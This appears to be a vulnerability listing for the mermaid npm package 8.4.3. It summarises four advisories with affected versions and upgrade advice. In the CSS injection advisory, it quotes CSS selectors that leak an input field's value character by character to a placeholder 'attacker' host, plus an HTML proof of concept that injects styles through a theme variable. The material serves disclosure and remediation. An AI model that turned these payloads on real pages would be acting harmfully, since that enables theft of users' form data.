NodeJS/mermaid/8.4.3

Markdown-ish syntax for generating flowcharts, mindmaps, sequence diagrams, class diagrams, gantt charts, git graphs and more.

Repo Link: https://www.npmjs.com/package/mermaid
License: MIT

4 Security Vulnerabilities

Cross-site Scripting in Mermaid

Published date: 2021-12-10T18:57:41Z

CVE: CVE-2021-35513

Links:

Mermaid before 8.11.0 allows XSS when the antiscript feature is used.

Secure versions: [11.0.0-alpha.1, 11.0.0-alpha.2, 11.0.0-alpha.3, 11.0.0-alpha.4, 11.0.0-alpha.5, 11.0.0-alpha.6, 11.0.0-alpha.7, 11.0.0, 11.0.1, 11.0.2, 11.1.0, 11.1.1, 11.2.0, 11.2.1, 11.3.0, 10.9.3, 11.4.0]

Recommendation: Update to version 11.4.0.

Prototype pollution vulnerability found in Mermaid's bundled version of DOMPurify

Published date: 2024-10-22T18:17:02Z

Links:

The following bundled files within the Mermaid NPM package contain a bundled version of DOMPurify that is vulnerable to https://github.com/cure53/DOMPurify/security/advisories/GHSA-mmhx-hmjr-r674, potentially resulting in an XSS attack.

This affects the built:

dist/mermaid.min.js
dist/mermaid.js
dist/mermaid.esm.mjs
dist/mermaid.esm.min.mjs

This will also affect users that use the above files via a CDN link, e.g. https://cdn.jsdelivr.net/npm/mermaid@10.9.2/dist/mermaid.min.js

Users that use the default NPM export of mermaid, e.g. import mermaid from 'mermaid', or the dist/mermaid.core.mjs file, do not use this bundled version of DOMPurify, and can easily update using their package manager with something like npm audit fix.

Patches

develop branch: 6c785c93166c151d27d328ddf68a13d9d65adc00
backport to v10: 92a07ffe40aab2769dd1c3431b4eb5beac282b34

Affected versions: ["0.2.11", "0.2.12", "0.2.13", "0.2.14", "0.2.15", "0.2.16", "0.3.0", "0.3.2", "0.3.3", "0.3.4", "0.3.5", "0.4.0", "0.5.0", "0.5.1", "0.5.2", "0.5.3", "0.5.4", "0.5.5", "0.5.6", "0.5.7", "0.5.8", "6.0.0", "7.0.0", "7.0.1", "7.0.2", "7.0.3", "7.0.4", "7.0.5", "7.0.6", "7.0.7", "7.0.8", "7.0.9", "7.0.10", "7.0.11", "7.0.12", "7.0.13", "7.0.14", "7.0.15", "7.0.16", "7.0.17", "7.0.18", "7.1.0", "7.1.1", "7.1.2", "8.0.0-alpha.1", "8.0.0-alpha.2", "8.0.0-alpha.3", "8.0.0-alpha.4", "8.0.0-alpha.5", "8.0.0-alpha.6", "8.0.0-alpha.8", "8.0.0-alpha.9", "8.0.0-beta.1", "8.0.0-beta.2", "8.0.0-beta.3", "8.0.0-beta.4", "8.0.0-beta.5", "8.0.0-beta.6", "8.0.0-beta.7", "8.0.0-beta.8", "8.0.0-beta.9", "8.0.0-rc.1", "8.0.0-rc.2", "8.0.0-rc.3", "8.0.0-rc.4", "8.0.0-rc.5", "8.0.0-rc.6", "8.0.0-rc.7", "8.0.0-rc.8", "8.0.0", "8.1.0", "8.2.1", "8.2.2", "8.2.3", "8.2.4", "8.2.5", "8.2.6", "8.3.0", "8.3.1", "8.4.0", "8.4.1", "8.4.2", "8.4.3", "8.4.4", "8.4.5", "8.4.6", "8.4.7", "8.4.8", "8.5.0", "8.5.1", "8.5.2", "8.6.0", "8.6.1", "8.6.2", "8.6.3", "8.6.4", "8.7.0", "8.8.0", "8.8.1", "8.8.2", "8.8.3", "8.8.4", "8.9.0", "8.9.1", "8.9.2", "8.9.3", "8.10.1", "8.10.2", "8.11.0", "8.11.1", "8.11.2", "8.11.3", "8.11.4", "8.11.5", "8.12.0", "8.12.1", "8.13.0", "8.13.1", "8.13.2", "8.13.3", "8.13.4", "8.13.5", "8.13.6", "8.13.7", "8.13.8", "8.13.9", "8.13.10", "8.14.0-rc1", "8.14.0", "9.0.0", "9.0.1", "9.1.0", "9.1.1", "9.1.2", "9.1.3", "9.1.4", "9.1.5", "9.1.6", "9.2.0-rc1", "9.1.7", "9.2.0-rc2", "9.2.0-rc3", "9.2.0-rc4", "9.2.0-rc5", "9.2.0-rc6", "9.2.0-rc7", "9.2.0-rc8", "9.2.0-rc9", "9.2.0-rc10", "9.2.0", "9.2.1", "9.2.2-rc.2", "9.2.2", "9.2.3-rc.1", "9.3.0-rc.1", "9.3.0-rc.2", "9.3.0-rc.3", "9.3.0-rc.4", "9.3.0-rc.5", "9.3.0-rc.6", "9.3.0-rc.7", "9.3.0", "9.4.0-rc.1", "9.4.0-rc.2", "9.4.0", "9.4.2-rc.1", "10.0.0-rc.1", "10.0.0-rc.2", "10.0.0-rc.3", "10.0.0-rc.4", "10.0.0", "10.0.1-rc.1", "10.0.1-rc.2", "10.0.1-rc.3", "9.4.2-rc.2", "10.0.1-rc.4", "10.0.1-rc.5", "10.0.1", "10.0.2-rc.1", "10.0.2", "10.0.3-alpha.1", "9.4.2", "9.4.3", "10.1.0-rc.1", "10.1.0", "10.2.0-rc.1", "10.2.0-rc.2", "10.2.0-rc.3", "10.2.0-rc.4", "10.2.0", "10.2.1-rc.1", "10.2.1", "10.2.2", "10.2.3-rc.1", "10.2.3", "10.2.4-rc.1", "10.2.4", "10.3.0-rc.1", "10.3.0", "10.3.1", "10.4.0", "10.5.0-alpha.1", "10.5.0-rc.1", "10.5.0-rc.3", "10.5.0", "10.5.1", "10.6.0", "10.6.1", "10.6.2-rc.1", "10.6.2-rc.2", "10.6.2-rc.3", "10.7.0", "10.8.0", "10.9.0-rc.1", "10.9.0-rc.2", "10.9.0", "10.9.1", "10.9.2"]

Recommendation: Update to version 11.4.0.

Incorrect sanitisation function leads to `XSS` in mermaid

Published date: 2022-01-06T19:45:59Z

CVE: CVE-2021-43861

Links:

Impact

Malicious diagrams can contain javascript code that can be run at diagram readers machines.

Patches

The users should upgrade to version 8.13.8

Workarounds

You need to upgrade in order to avoid this issue.

Recommendation: Update to version 11.4.0.

Possible inject arbitrary `CSS` into the generated graph affecting the container HTML

Published date: 2022-07-05T18:29:31Z

CVE: CVE-2022-31108

Links:

An attacker is able to inject arbitrary CSS into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors.

The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value attribute one character at a time. Whenever there is an actual match, an http request will be made by the browser in order to load a background image that will let an attacker know what's the value of the character.

input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory: * Open an issue in example link to repo * Email us at example email address

Product

mermaid.js

Tested Version

v9.1.1

Details

Issue 1: Multiple CSS Injection (`GHSL-2022-036`)

By supplying a carefully crafted textColor theme variable, an attacker can inject arbitrary CSS rules into the document. In the following snippet we can see that getStyles does not sanitize any of the theme variables leaving the door open for CSS injection.

Snippet from src/styles.js:

const getStyles = (type, userStyles, options) => {
  return ` {
    font-family: ${options.fontFamily};
    font-size: ${options.fontSize};
    fill: ${options.textColor}
  }

For example, if we set textColor to "green;} #target { background-color: crimson }" the resulting CSS will contain a new selector #target that will apply a crimson background color to an arbitrary element.

<html>

<body>
    <div id="target">
        <h1>This element does not belong to the SVG but we can style it</h1>
    </div>
    <svg id="diagram">
    </svg>

    <script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
    <script>
        mermaid.initialize({ startOnLoad: false });

        const graph =
            `
            %%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
            graph TD
                A[Goose]
            `

        const diagram = document.getElementById("diagram")
        const svg = mermaid.render('diagram-svg', graph)
        diagram.innerHTML = svg
    </script>
</body>

</html>

In the proof of concept above we used the textColor variable to inject CSS, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:

Impact

This issue may lead to Information Disclosure via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.

Remediation

Ensure that user input is adequately escaped before embedding it in CSS blocks.

Affected versions: ["8.0.0", "8.1.0", "8.2.1", "8.2.2", "8.2.3", "8.2.4", "8.2.5", "8.2.6", "8.3.0", "8.3.1", "8.4.0", "8.4.1", "8.4.2", "8.4.3", "8.4.4", "8.4.5", "8.4.6", "8.4.7", "8.4.8", "8.5.0", "8.5.1", "8.5.2", "8.6.0", "8.6.1", "8.6.2", "8.6.3", "8.6.4", "8.7.0", "8.8.0", "8.8.1", "8.8.2", "8.8.3", "8.8.4", "8.9.0", "8.9.1", "8.9.2", "8.9.3", "8.10.1", "8.10.2", "8.11.0", "8.11.1", "8.11.2", "8.11.3", "8.11.4", "8.11.5", "8.12.0", "8.12.1", "8.13.0", "8.13.1", "8.13.2", "8.13.3", "8.13.4", "8.13.5", "8.13.6", "8.13.7", "8.13.8", "8.13.9", "8.13.10", "8.14.0-rc1", "8.14.0", "9.0.0", "9.0.1", "9.1.0", "9.1.1"]

Recommendation: Update to version 11.4.0.

235 Other Versions

Version	License	Security	Released
11.4.0	MIT		2024-10-30 - 15:43	15 days
11.3.0	MIT		2024-10-03 - 14:43	about 1 month
11.2.1	MIT		2024-09-16 - 16:41	about 2 months
11.2.0	MIT		2024-09-09 - 13:23	2 months
11.1.1	MIT		2024-09-06 - 17:19	2 months
11.1.0	MIT		2024-09-02 - 15:18	2 months
11.0.2	MIT		2024-08-24 - 07:06	3 months
11.0.1	MIT		2024-08-23 - 15:04	3 months
11.0.0	MIT		2024-08-23 - 12:12	3 months
11.0.0-alpha.7	MIT		2024-03-23 - 13:27	8 months
11.0.0-alpha.6	MIT		2023-11-26 - 15:49	12 months
11.0.0-alpha.5	MIT		2023-11-24 - 08:39	12 months
11.0.0-alpha.4	MIT		2023-08-16 - 05:32	about 1 year
11.0.0-alpha.3	MIT		2023-08-14 - 03:42	over 1 year
11.0.0-alpha.2	MIT		2023-08-12 - 16:02	over 1 year
11.0.0-alpha.1	MIT		2023-08-12 - 10:56	over 1 year
10.9.3	MIT		2024-10-22 - 08:56	24 days
10.9.2	MIT	1	2024-10-02 - 10:28	about 1 month
10.9.1	MIT	1	2024-05-14 - 10:58	6 months
10.9.0	MIT	1	2024-03-05 - 17:25	8 months
10.9.0-rc.2	MIT	1	2024-02-29 - 03:14	9 months
10.9.0-rc.1	MIT	1	2024-02-27 - 08:51	9 months
10.8.0	MIT	1	2024-02-02 - 10:32	10 months
10.7.0	MIT	1	2024-01-15 - 09:02	10 months
10.6.2-rc.3	MIT	1	2024-01-11 - 04:58	10 months
10.6.2-rc.2	MIT	1	2023-12-04 - 06:52	12 months
10.6.2-rc.1	MIT	1	2023-11-24 - 08:43	12 months
10.6.1	MIT	1	2023-11-06 - 15:05	about 1 year
10.6.0	MIT	1	2023-10-25 - 11:29	about 1 year
10.5.1	MIT	1	2023-10-20 - 12:29	about 1 year
10.5.0	MIT	1	2023-10-02 - 08:02	about 1 year
10.5.0-rc.3	MIT	1	2023-10-02 - 07:50	about 1 year
10.5.0-rc.1	MIT	1	2023-09-14 - 08:38	about 1 year
10.5.0-alpha.1	MIT	1	2023-09-07 - 07:23	about 1 year
10.4.0	MIT	1	2023-08-25 - 12:21	about 1 year
10.3.1	MIT	1	2023-08-11 - 12:22	over 1 year
10.3.0	MIT	1	2023-07-26 - 07:47	over 1 year
10.3.0-rc.1	MIT	1	2023-07-26 - 06:07	over 1 year
10.2.4	MIT	1	2023-06-30 - 11:14	over 1 year
10.2.4-rc.1	MIT	1	2023-06-30 - 10:57	over 1 year
10.2.3	MIT	1	2023-06-08 - 14:27	over 1 year
10.2.3-rc.1	MIT	1	2023-06-08 - 14:21	over 1 year
10.2.2	MIT	1	2023-06-02 - 08:03	over 1 year
10.2.1	MIT	1	2023-06-01 - 11:11	over 1 year
10.2.1-rc.1	MIT	1	2023-06-01 - 09:22	over 1 year
10.2.0	MIT	1	2023-05-24 - 17:13	over 1 year
10.2.0-rc.4	MIT	1	2023-05-24 - 16:25	over 1 year
10.2.0-rc.3	MIT	1	2023-05-09 - 04:46	over 1 year
10.2.0-rc.2	MIT	1	2023-04-23 - 19:05	over 1 year
10.2.0-rc.1	MIT	1	2023-04-23 - 18:52	over 1 year
10.1.0	MIT	1	2023-04-04 - 13:17	over 1 year
10.1.0-rc.1	MIT	1	2023-04-03 - 12:46	over 1 year
10.0.3-alpha.1	MIT	1	2023-03-07 - 03:54	over 1 year
10.0.2	MIT	1	2023-03-02 - 12:45	over 1 year
10.0.2-rc.1	MIT	1	2023-03-01 - 17:45	over 1 year
10.0.1	MIT	1	2023-03-01 - 13:17	over 1 year
10.0.1-rc.5	MIT	1	2023-03-01 - 12:55	over 1 year
10.0.1-rc.4	MIT	1	2023-03-01 - 08:33	over 1 year
10.0.1-rc.3	MIT	1	2023-02-28 - 14:34	over 1 year
10.0.1-rc.2	MIT	1	2023-02-24 - 14:16	over 1 year
10.0.1-rc.1	MIT	1	2023-02-24 - 12:57	over 1 year
10.0.0	MIT	1	2023-02-21 - 09:21	over 1 year
10.0.0-rc.4	MIT	1	2023-02-19 - 17:01	over 1 year
10.0.0-rc.3	MIT	1	2023-02-19 - 14:36	over 1 year
10.0.0-rc.2	MIT	1	2023-02-19 - 13:05	over 1 year
10.0.0-rc.1	MIT	1	2023-02-19 - 08:41	over 1 year
9.4.3	MIT	1	2023-03-07 - 18:40	over 1 year
9.4.2	MIT	1	2023-03-07 - 15:50	over 1 year
9.4.2-rc.2	MIT	1	2023-02-28 - 16:21	over 1 year
9.4.2-rc.1	MIT	1	2023-02-18 - 18:20	over 1 year
9.4.0	MIT	1	2023-02-15 - 15:18	over 1 year
9.4.0-rc.2	MIT	1	2023-02-10 - 10:12	almost 2 years
9.4.0-rc.1	MIT	1	2023-01-30 - 09:18	almost 2 years
9.3.0	MIT	1	2022-12-15 - 09:19	almost 2 years
9.3.0-rc.7	MIT	1	2022-12-15 - 03:43	almost 2 years
9.3.0-rc.6	MIT	1	2022-12-14 - 04:16	almost 2 years
9.3.0-rc.5	MIT	1	2022-12-13 - 08:13	almost 2 years
9.3.0-rc.4	MIT	1	2022-12-12 - 19:09	almost 2 years
9.3.0-rc.3	MIT	1	2022-12-12 - 18:54	almost 2 years
9.3.0-rc.2	MIT	1	2022-12-12 - 18:26	almost 2 years
9.3.0-rc.1	MIT	1	2022-12-08 - 14:12	almost 2 years
9.2.3-rc.1	MIT	1	2022-11-16 - 07:45	almost 2 years
9.2.2	MIT	1	2022-11-09 - 15:21	about 2 years
9.2.2-rc.2	MIT	1	2022-11-09 - 09:30	about 2 years
9.2.1	MIT	1	2022-11-08 - 15:48	about 2 years
9.2.0	MIT	1	2022-11-01 - 14:15	about 2 years
9.2.0-rc10	MIT	1	2022-10-28 - 07:49	about 2 years
9.2.0-rc9	MIT	1	2022-10-24 - 08:33	about 2 years
9.2.0-rc8	MIT	1	2022-10-20 - 04:54	about 2 years
9.2.0-rc7	MIT	1	2022-10-19 - 06:03	about 2 years
9.2.0-rc6	MIT	1	2022-10-14 - 13:24	about 2 years
9.2.0-rc5	MIT	1	2022-10-12 - 07:38	about 2 years
9.2.0-rc4	MIT	1	2022-10-11 - 09:24	about 2 years
9.2.0-rc3	MIT	1	2022-10-11 - 07:30	about 2 years
9.2.0-rc2	MIT	1	2022-09-28 - 11:04	about 2 years
9.2.0-rc1	MIT	1	2022-09-09 - 13:15	about 2 years
9.1.7	MIT	1	2022-09-13 - 17:50	about 2 years
9.1.6	MIT	1	2022-08-18 - 18:41	about 2 years
9.1.5	MIT	1	2022-08-11 - 18:31	over 2 years
9.1.4	MIT	1	2022-08-04 - 18:35	over 2 years

NodeJS/mermaid/8.4.3

4 Security Vulnerabilities

Patches

Impact

Patches

Workarounds

Patches

Workarounds

References

For more information

Product

Tested Version

Details

Issue 1: Multiple CSS Injection (GHSL-2022-036)

Impact

Remediation

235 Other Versions

Issue 1: Multiple CSS Injection (`GHSL-2022-036`)